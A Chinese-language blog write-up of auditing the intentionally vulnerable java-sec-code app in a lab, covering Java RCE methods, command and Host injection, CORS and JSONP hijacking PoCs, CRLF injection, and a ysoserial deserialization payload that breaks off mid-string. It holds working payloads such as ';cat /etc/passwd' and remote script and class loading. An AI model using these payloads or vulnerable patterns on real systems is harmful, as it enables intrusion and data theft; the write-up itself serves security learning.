0x00 前言  最近在搞Java类的代码审计,看到这个项目记录一下自己的学习过程
0x01环境配置 
Mac os 11.2.2 tomcat 8.5 idea msyql 8.0.70 
导入idea项目配置本地tomcat
git clone https://github.com/JoyChou93/java-sec-code cd java-sec-code mvn clean package 
打开浏览器访问127.0.0.1:8080
image-20210827091208429 
输入密码admin/admin123进行登陆
0x02 漏洞分析 1. Rce Java命令执行的几种方式 1)Runtime 类执行系统命令 核心代码:
Process p = Runtime.getRuntime().exec("calc"); 
详细代码:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Runtime1 {        public static void main(String[] args) {             try {                 Process p = Runtime.getRuntime().exec("whoami");                 InputStream input = p.getInputStream();                 InputStreamReader ins = new InputStreamReader(input, "utf-8");                 //InputStreamReader 字节流到字符流,并指定编码格式                 BufferedReader br = new BufferedReader(ins);                 //BufferedReader 从字符流读取文件并缓存字符                 String line;                 line = br.readLine();                 System.out.println(line);                 br.close();                 ins.close();                 input.close();                                        } catch (IOException e) {                 e.printStackTrace();             }         } } 
通过Runtime类exec方法执行命令获取输入流getInputStream(),再InputStreamReader过渡到字符流,并指定gbk的编码格式。BufferedReader 再从字符输入流中读取文本并缓冲字符。再通过readLine()方法打印出结果。
访问http://localhost:8080/java_sec_code_war/rce/exec?cmd=whoami 
image-20210827105713739 
查看Rce代码如下
public class Rce {     @GetMapping("/exec")     public String CommandExec(String cmd) {         Runtime run = Runtime.getRuntime();         StringBuilder sb = new StringBuilder();         try {             Process p = run.exec(cmd);             BufferedInputStream in = new BufferedInputStream(p.getInputStream());             BufferedReader inBr = new BufferedReader(new InputStreamReader(in));             String tmpStr;             while ((tmpStr = inBr.readLine()) != null) {                 sb.append(tmpStr);             }             if (p.waitFor() != 0) {                 if (p.exitValue() == 1)                     return "Command exec failed!!";             }             inBr.close();             in.close();         } catch (Exception e) {             return e.toString();         }         return sb.toString();     } } 
Idea调试情况如下
image-20210827111228112 
2)ProcessBuilder 类命令执行 ProcessBuilder类通过创建系统进程执行命令。
核心代码
ProcessBuilder builder = new ProcessBuilder("whoami"); Process process = builder.start(); 
详细代码:
import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class ProcessBuilder1 {     public static void main(String[] args) {         try {             String[] cmds = new String[]{"/bin/bash","-c","whoami"};             ProcessBuilder builder = new ProcessBuilder(cmds);             Process process = builder.start();             InputStream in = process.getInputStream();             //获取输入流             InputStreamReader ins = new InputStreamReader(in, "utf-8");             // 字节流转化为字符流,并指定编码格式             char[] chs = new char[1024];             int len = ins.read(chs);             System.out.println(new String(chs,0,len));             ins.close();             in.close();                      } catch (IOException e) {             e.printStackTrace();         }     } } 
通过ProcessBuilder类执行系统命令获取结果。注意将命令隔开,同样转化为字符流InputStreamReader,并指定编码格式。read方法读取该字符流。将结果转化为字符串进行输出。
打开http://localhost:8080/java_sec_code_war/rce/ProcessBuilder?cmd=whoami 
image-20210827143330503 
Java-sec-code如下:
/**  * http://localhost:8080/rce/ProcessBuilder?cmd=whoami  * @param cmd cmd  */ @GetMapping("/ProcessBuilder") public String processBuilder(String cmd) {     StringBuilder sb = new StringBuilder();     try {         String[] arrCmd = {"/bin/sh", "-c", cmd};         ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);         Process p = processBuilder.start();         BufferedInputStream in = new BufferedInputStream(p.getInputStream());         BufferedReader inBr = new BufferedReader(new InputStreamReader(in));         String tmpStr;         while ((tmpStr = inBr.readLine()) != null) {             sb.append(tmpStr);         }     } catch (Exception e) {         return e.toString();     }     return sb.toString(); } 
Idea调试如下
image-20210827143456512 
3) 反射调用Processlmpl 类执行系统命令 Runtime和ProcessBuilder执行命令实际上调用了也是ProcessImpl类。对于该类,没有构造方法,只有一个private类型的方法。可以通过反射调用。
核心代码:
Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);  
详细代码:
import java.io.ByteArrayOutputStream; import java.lang.ProcessBuilder.Redirect; import java.lang.reflect.Method; import java.util.Map; @SuppressWarnings("unchecked") public class ProcessImpl1{     public static void main(String[] args) throws Exception {         String[] cmds = new String[]{"whoami"};         Class clazz = Class.forName("java.lang.ProcessImpl");         Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);         method.setAccessible(true);         Process e = (Process) method.invoke(null, cmds, null, ".", null, true);         byte[] bs = new byte[2048];         int readSize = 0;         ByteArrayOutputStream infoStream = new ByteArrayOutputStream();         while ((readSize = e.getInputStream().read(bs)) > 0) {             infoStream.write(bs, 0, readSize);         }         System.out.println(infoStream.toString());     } } 
从ProcessImpl类的class对象中获取到方法然后反射调用,获取字节输入流getInputStream的结果。ByteArrayOutputStream 创建字节数组缓冲区。read() 方法读取字节流大小,并写进缓冲区。最后将缓冲区结果转化为字符串,并指定utf-8编码格式输出。
4) 反射调用Runtime类执行系统命令 核心代码:
Class clazz = Class.forName("java.lang.Runtime"); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); Object runtimeInstance = constructor.newInstance(); Method runtimeMethod = clazz.getMethod("exec", String.class); Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc"); 
java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过类加载newInstance()创建对象,反射再调用方法。
详细代码:
import java.io.ByteArrayOutputStream; import java.lang.ProcessBuilder.Redirect; import java.lang.reflect.Method; import java.util.Map; @SuppressWarnings("unchecked") public class ProcessImpl1{     public static void main(String[] args) throws Exception {         String[] cmds = new String[]{"whoami"};         Class clazz = Class.forName("java.lang.ProcessImpl");         Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);         method.setAccessible(true);         Process e = (Process) method.invoke(null, cmds, null, ".", null, true);         byte[] bs = new byte[2048];         int readSize = 0;         ByteArrayOutputStream infoStream = new ByteArrayOutputStream();         while ((readSize = e.getInputStream().read(bs)) > 0) {             infoStream.write(bs, 0, readSize);         }         System.out.println(infoStream.toString());     } } 
5) JavaScript命令执行 javax.script.ScriptEngine类是java自带的用于解析并执行js代码,可以在javascript中执行java代码.
核心代码:
String str = "Jscode";         ScriptEngineManager manager = new ScriptEngineManager(null);         ScriptEngine engine = manager.getEngineByName("js");         engine.eval(str); 
详细代码:
import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; public class Jsexec {     public static void main(String[] argv) throws ScriptException {         String str = "function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -a Calculator\");";         ScriptEngineManager manager = new ScriptEngineManager(null);         ScriptEngine engine = manager.getEngineByName("js");         engine.eval(str);     } } 
如上。可以成功弹出计算器,如果遇到关键字检测。还可以用注释和空格绕过。
image-20210827145640867 
查看Java-sec-code代码
/**  * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js  *  * curl http://xx.yy/zz.js  * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}  *  * @param jsurl js url  */ @GetMapping("/jscmd") public void jsEngine(String jsurl) throws Exception{     // js nashorn javascript ecmascript     ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");     Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);     String cmd = String.format("load(\"%s\")", jsurl);     engine.eval(cmd, bindings); } 
用Python本地起一个服务器,写入JS进行触发
image-20210827152848993 
6)Yaml反序列化命令执行 SnakeYaml是用来解析yaml的格式,可以用于Java对象的序列化、反序列化。
核心代码:
@GetMapping("/vuln/yarm") public void yarm(String agrs) {     String content = "!!javax.script.ScriptEngineManager [\n" +             " !!java.net.URLClassLoader [[\n" +             " !!java.net.URL [\"http://o5s7wr.dnslog.cn\"]\n" +             " ]]\n" +             "]";     Yaml y = new Yaml();     y.load(content); } 
进行测试
image-20210827175118150 
使用师傅写好的利用脚本进行利用利用 https://github.com/artsploit/yaml-payload 
打开并修改代码:
package artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory {     public AwesomeScriptEngineFactory() {         try {             Runtime.getRuntime().exec("open -a Calculator");         } catch (IOException e) {             e.printStackTrace();         }     }     @Override     public String getEngineName() {         return null;     }     @Override     public String getEngineVersion() {         return null;     }     @Override     public List<String> getExtensions() {         return null;     }     @Override     public List<String> getMimeTypes() {         return null;     }     @Override     public List<String> getNames() {         return null;     }     @Override     public String getLanguageName() {         return null;     }     @Override     public String getLanguageVersion() {         return null;     }     @Override     public Object getParameter(String key) {         return null;     }     @Override     public String getMethodCallSyntax(String obj, String m, String... args) {         return null;     }     @Override     public String getOutputStatement(String toDisplay) {         return null;     }     @Override     public String getProgram(String... statements) {         return null;     }     @Override     public ScriptEngine getScriptEngine() {         return null;     } } 
整个脚本也都比较简单,就是实现了ScriptEngineFactory接口,然后调用Runtime.getRuntime().exec执行命令。
JavaSPI机制详解 
使用Python搭建简单的WEB服务后进行利用
image-20210827180832145 
7)Groovy 命令执行 Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库。
可以使用GroovyShell类来执行任何Groovy脚本
代码如下:
/**  * http://localhost:8080/rce/groovy?content="open -a Calculator".execute()  * @param content groovy shell  */ @GetMapping("/groovy") public void groovyshell(String content) {     GroovyShell groovyShell = new GroovyShell();     groovyShell.evaluate(content); } 
进行利用如下:
image-20210827183410408 
2. CommandInject 命令行直接对请求参数进行拼接,可利用特殊字符分割执行其他命令
1.参数注入 代码如下:
/**  * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd  *  * @param filepath filepath  * @return result  */ @GetMapping("/codeinject") public String codeInject(String filepath) throws IOException {     String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};     ProcessBuilder builder = new ProcessBuilder(cmdList);     builder.redirectErrorStream(true);     Process process = builder.start();     return WebUtils.convertStreamToString(process.getInputStream()); } 
访问http://localhost:8080/java_sec_code_war/codeinject?filepath=/tmp;cat%20/etc/passwd 
image-20210831100839084 
2.Host注入 在HTTP请求的host中命令执行
代码如下:
/**  * Host Injection  * Host: hacked by joychou;cat /etc/passwd  * http://localhost:8080/codeinject/host  */ @GetMapping("/codeinject/host") public String codeInjectHost(HttpServletRequest request) throws IOException {     String host = request.getHeader("host");     logger.info(host);     String[] cmdList = new String[]{"sh", "-c", "curl " + host};     ProcessBuilder builder = new ProcessBuilder(cmdList);     builder.redirectErrorStream(true);     Process process = builder.start();     return WebUtils.convertStreamToString(process.getInputStream()); } 
dnslog进行测试
image-20210831103040958 
image-20210831103104271 
进行命令注入时失败:
image-20210831111452797 
查找半天原因之后发现
是tomcat的版本问题,tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
建议大家下一个低版本进行测试~
image-20210831120816642 
修复代码 
@GetMapping("/codeinject/sec") public String codeInjectSec(String filepath) throws IOException {     String filterFilePath = SecurityUtil.cmdFilter(filepath);     if (null == filterFilePath) {         return "Bad boy. I got u.";     }     String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};     ProcessBuilder builder = new ProcessBuilder(cmdList);     builder.redirectErrorStream(true);     Process process = builder.start();     return WebUtils.convertStreamToString(process.getInputStream()); } 
增加了一个SecurityUtil.cmdFilter()进行过滤,command+点击cmdFilter进入cmdFilter函数查看
public static String cmdFilter(String input) {     if (!FILTER_PATTERN.matcher(input).matches()) {         return null;     }     return input; } 
继续跟进FILTER_PATTERN函数
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); 
image-20210831142136765 
3. Broken Access Control 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick,导致越权问题。具体写法可能有Cookies代码 里的几种情况。
代码有如下几种情况:
/**  * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。  */ @RestController @RequestMapping("/cookie") public class Cookies {     private static String NICK = "nick";     @GetMapping(value = "/vuln01")     public String vuln01(HttpServletRequest req) {         String nick = WebUtils.getCookieValueByName(req, NICK); // key code         return "Cookie nick: " + nick;     }     @GetMapping(value = "/vuln02")     public String vuln02(HttpServletRequest req) {         String nick = null;         Cookie[] cookie = req.getCookies();         if (cookie != null) {             nick = getCookie(req, NICK).getValue();  // key code         }         return "Cookie nick: " + nick;     }     @GetMapping(value = "/vuln03")     public String vuln03(HttpServletRequest req) {         String nick = null;         Cookie cookies[] = req.getCookies();         if (cookies != null) {             for (Cookie cookie : cookies) {                 // key code. Equals can also be equalsIgnoreCase.                 if (NICK.equals(cookie.getName())) {                     nick = cookie.getValue();                 }             }         }         return "Cookie nick: " + nick;     }     @GetMapping(value = "/vuln04")     public String vuln04(HttpServletRequest req) {         String nick = null;         Cookie cookies[] = req.getCookies();         if (cookies != null) {             for (Cookie cookie : cookies) {                 if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code                     nick = cookie.getValue();                 }             }         }         return "Cookie nick: " + nick;     }     @GetMapping(value = "/vuln05")     public String vuln05(@CookieValue("nick") String nick) {         return "Cookie nick: " + nick;     }     @GetMapping(value = "/vuln06")     public String vuln06(@CookieValue(value = "nick") String nick) {         return "Cookie nick: " + nick;     } } 
打开http://172.20.10.6:8080/java_sec_code_war/cookie/vuln01其中一个进行复现 
image-20210901161038686 
4. Cors 跨域请求伪造,由于限制不严导致可以跨域请求敏感信息,一般结合XSS,CSRF等等漏洞进行攻击。
前端发起AJAX请求都会受到同源策略(CORS)的限制。发起AJAX请求的方法:
XMLHttpRequest JQuery的$.ajax Fetch 前端在发起AJAX请求时,同域或者直接访问的情况下,因为没有跨域的需求,所以Request的Header中的Origin为空。此时,如果后端代码是response.setHeader("Access-Control-Allow-Origin", origin),那么Response的header中不会出现Access-Control-Allow-Origin,因为Origin为空。
image-20210901162616408 
在这样配置可以去访问任何服务资源
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true 
可以用curl来验证
curl -i  $'GET' \     -H $'Origin: http://www.baidu.com' \     -b $'remember-me=YWRtaW46MTYzMTY5MTA4NTA2OTpkZWYwZTFiYjc2MmZhYzFiMzdjMDc2MzNiYjcxOGJkOQ; JSESSIONID=2F6ED87C606984C0547455D72FE2B9EE; XSRF-TOKEN=1536dc0b-8b8b-4955-b669-c5b9f9b4bd6d' \     $'http://172.20.10.6:8080/java_sec_code_war/cors/vuln/origin' 
Java-sec-code需要cookie来利用无cooike的poc如下
GET:
<!DOCTYPE html> <html> <head>  <title>CORS TEST</title> </head> <body>  <div id='output'></div>  <script type="text/javascript">    var req = new XMLHttpRequest();     req.onload = reqListener;     req.open('get','http://vuln.com/xxxx',true);    //req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");     req.withCredentials = true;    req.send();    function reqListener() {     var output = document.getElementById('output');     output.innerHTML = "URL: http://vuln.com/xxxx<br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";    };  </script> </body> </html> 
POST:
<!DOCTYPE html> <html> <head>     <title>CORS TEST</title> </head> <body>     <div id='output'></div>     <script type="text/javascript">             var req = new XMLHttpRequest();             var data = "userId%3Dadmin";             req.onload = reqListener;             req.open('post','http://vuln.com/xxxx',true);             req.setRequestHeader("Content-Type","xxx");             req.withCredentials = true;             req.send(data);             function reqListener() {                 var output = document.getElementById('output');                 output.innerHTML = "URL: http://vuln.com/xxxx<br>Data: userId%3Dadmin<br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";             };     </script> </body> </html> 
核心代码如下:
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; @GetMapping("/vuln/origin") public String vuls1(HttpServletRequest request, HttpServletResponse response) {     String origin = request.getHeader("origin");     response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header     response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie     return info; } @GetMapping("/vuln/setHeader") public String vuls2(HttpServletResponse response) {     // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常     response.setHeader("Access-Control-Allow-Origin", "*");     return info; } 
设置HTTP头,然后直接返回信息
修复方式如下:
/**      * 重写Cors的checkOrigin校验方法      * 支持自定义checkOrigin,让其额外支持一级域名      * 代码:org/joychou/security/CustomCorsProcessor      */     @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})     @GetMapping("/sec/crossOrigin")     public String secCrossOrigin() {         return info;     }     /**      * WebMvcConfigurer设置Cors      * 支持自定义checkOrigin      * 代码:org/joychou/config/CorsConfig.java      */     @GetMapping("/sec/webMvcConfigurer")     public CsrfToken getCsrfToken_01(CsrfToken token) {         return token;     }     /**      * spring security设置cors      * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行      * 代码:org/joychou/security/WebSecurityConfig.java      */     @GetMapping("/sec/httpCors")     public CsrfToken getCsrfToken_02(CsrfToken token) {         return token;     }     /**      * 自定义filter设置cors      * 支持自定义checkOrigin      * 代码:org/joychou/filter/OriginFilter.java      */     @GetMapping("/sec/originFilter")     public CsrfToken getCsrfToken_03(CsrfToken token) {         return token;     }     /**      * CorsFilter设置cors。      * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行      * 代码:org/joychou/filter/BaseCorsFilter.java      */     @RequestMapping("/sec/corsFilter")     public CsrfToken getCsrfToken_04(CsrfToken token) {         return token;     }     @GetMapping("/sec/checkOrigin")     public String seccode(HttpServletRequest request, HttpServletResponse response) {         String origin = request.getHeader("Origin");         // 如果origin不为空并且origin不在白名单内,认定为不安全。         // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。         if (origin != null && SecurityUtil.checkURL(origin) == null) {             return "Origin is not safe.";         }         response.setHeader("Access-Control-Allow-Origin", origin);         response.setHeader("Access-Control-Allow-Credentials", "true");         return LoginUtils.getUserInfo2JsonStr(request);     } 
Cors和CSRF的区别 
5.CRLFInjection  RLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP Body是用两个CRLF来分割的。浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。
?url=http://baidu.com/xxx%0a%0dSet-Cookie: test123=123  // 恶意添加修改信息 
 关于实战,这里有几个案例,可以学习一波。
CRLF注入 Bottle HTTP 头注入漏洞探究 案例 但这个问题实际上已经在所有的现在的java EE应用服务器上修复了。如果你想关注这个漏洞,你应该在目标平台测试是否允许将CRLF插入到HTTP头中。不出意外的话,这个漏洞已经在大部分的目前的应用服务器上修复了,无论是用什么语言编写的。
核心代码如下:
@RequestMapping("/crlf") public class CRLFInjection {     @RequestMapping("/safecode")     @ResponseBody     public void crlf(HttpServletRequest request, HttpServletResponse response) {         response.addHeader("test1", request.getParameter("test1"));         response.setHeader("test2", request.getParameter("test2"));         String author = request.getParameter("test3");         Cookie cookie = new Cookie("test3", author);         response.addCookie(cookie);     } } 
访问http://localhost:8080/java_sec_code_war/crlf/safecode 
?test1=111%0d%0ax&test2=111%0d%0a111
image-20210909095847712 
6.Jsonp JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。当开发者使用不当时,攻击者可以恶意利用jsonp劫持数据。
举例说明如下:
在 jQuery 中,可以通过使用JSONP 形式的回调函数来加载其他网域的JSON数据,如 "myurl?callback=?"。jQuery 将自动替换 ? 为正确的函数名,以执行回调函数。  jQuery 会把?注册成window.? 的系统函数,然后映射调用。 一般用于跨域ajax请求,提供URL的一方会返回一个callback函数的JSON数据,然后回调时就能获取了。   请求的URL例子: "myurl?callback=123123123" //这个123123就是?号,jquery自动生成的。 返回的数据例子: 123123123({“id”:"1","name":"张三"}) 
核心代码如下:
@ControllerAdvice public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {     public JSONPAdvice() {         super("callback", "cback"); // callback的参数名,可以为多个     } } 
当有接口返回了Object(比如JSONObject或者JavaBean,但是不支持String),只要在参数中加入callback=test或cback=test就会自动变成JSONP接口。比如下面代码:
@RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice() {     String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";     return JSON.parseObject(info); } 
虽然上面代码指定了response的content-type为application/json,但是在AbstractJsonpResponseBodyAdvice类中会设置为application/javascript,提供给前端调用。
设置content-type为application/javascript的代码:
protected MediaType getContentType(MediaType contentType, ServerHttpRequest request, ServerHttpResponse response) { 	return new MediaType("application", "javascript"); } 
并且还会判断callback的参数只是否是有效的,代码如下:
private static final Pattern CALLBACK_PARAM_PATTERN = Pattern.compile("[0-9A-Za-z_\\.]*"); protected boolean isValidJsonpQueryParam(String value) { 	return CALLBACK_PARAM_PATTERN.matcher(value).matches(); } 
安全问题: 使用AbstractJsonpResponseBodyAdvice能避免callback导致的XSS问题,但是会带来一个新的风险:可能有的JSON接口强行被设置为了JSONP,导致JSON劫持。所以使用AbstractJsonpResponseBodyAdvice,需要默认校验所有jsonp接口的referer是否合法。
PS:
在Spring Framework 5.1,移除了AbstractJsonpResponseBodyAdvice类。Springboot 2.1.0 RELEASE默认使用spring framework版本5.1.2版本。也就是在SpringBoot 2.1.0 RELEASE及以后版本都不能使用该功能,用CORS替代。
https://docs.spring.io/spring/docs/5.0.x/javadoc-api/org/springframework/web/servlet/mvc/method/annotation/AbstractJsonpResponseBodyAdvice.html 
Will be removed as of Spring Framework 5.1, use CORS instead.
1.前端调用代码的 使用ajax的jsonp调用方式,运行后会弹框JoyChou。 使用script src方式,运行后会弹框JoyChou。 使用ajax的jsonp调用方式代码:
<html> <head> <meta charset="UTF-8" /> <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script> </head> <body> <script language="JavaScript"> $(document).ready(function() { 	$.ajax({ 		url:'http://localhost:8080/jsonp/advice', 		dataType:'jsonp', 		success:function(data){ 			alert(data.name) 		} 	}); }); </script> </body> </html> 
script src方式代码:
<html> <script> 	function aaa(data){ 		alert(JSON.stringify(data)); 	} </script> <script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/referer?callback_=aaa></script> </html> 
script src方法 测试如下:
image-20210909105509839 
2.空Referer绕过 有时候开发同学为了测试方便,JSONP接口能直接访问,不直接访问做了Referer限制。正常来讲,前端发起的请求默认都会带着Referer,所以简单说下如何绕过空Referer。
核心代码:
@RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") public String emptyReferer(HttpServletRequest request) {     String referer = request.getHeader("referer");     if (null != referer && SecurityUtil.checkURL(referer) == null) {         return "error";     }     String callback = request.getParameter(this.callback);     return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } 
增加了对referer的检测我们可以使用如下方法进行绕过
1.添加no-referrer 参数 
<html> <meta name="referrer" content="no-referrer" />      //no-referrer <script> 	function test(data){ 		alert(JSON.stringify(data)); 	} </script> <script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/emptyReferer?callback_=test></script> </html> 
2.使用iframe标签进行绕过 
<html> <meta name="referrer" content="no-referrer" /> <iframe src="javascript:'<script>function test(data){alert(JSON.stringify(data));}</script><script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/emptyReferer?callback_=test></script>'"> </iframe> </html> 
测试如下:
image-20210909111157468 
修复代码:
@RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") public String safecode(HttpServletRequest request) {     String referer = request.getHeader("referer");     if (SecurityUtil.checkURL(referer) == null) {         return "error";     }     String callback = request.getParameter(this.callback);     return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } 
不管referer是否为null都进行判断
3.fastjsonp to jsonp 核心代码如下
@GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") public String getCsrfToken2(HttpServletRequest request) {     CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token     String callback = request.getParameter("fastjsonpCallback");     if (StringUtils.isNotBlank(callback)) {         JSONPObject jsonpObj = new JSONPObject(callback);         jsonpObj.addParameter(csrfToken);         return jsonpObj.toString();     } else {         return csrfToken.toString();     } } 
测试如下:
image-20210909143444477 
7.Deserialize 序列化与反序列化  Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
核心代码:
/**      * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64      * Add the result to rememberMe cookie.      * <p>      * http://localhost:8080/deserialize/rememberMe/vuln      */     @RequestMapping("/rememberMe/vuln")     public String rememberMeVul(HttpServletRequest request)             throws IOException, ClassNotFoundException {         Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);         if (null == cookie) {             return "No rememberMe cookie. Right?";         }         String rememberMe = cookie.getValue();         byte[] decoded = Base64.getDecoder().decode(rememberMe);         ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);         ObjectInputStream in = new ObjectInputStream(bytes);         in.readObject();         in.close();         return "Are u ok?";     } 
代码相对来说也比较简单使用Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。
利用方式如下:
使用ysoserial.jar生成payload
╰─$ java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLm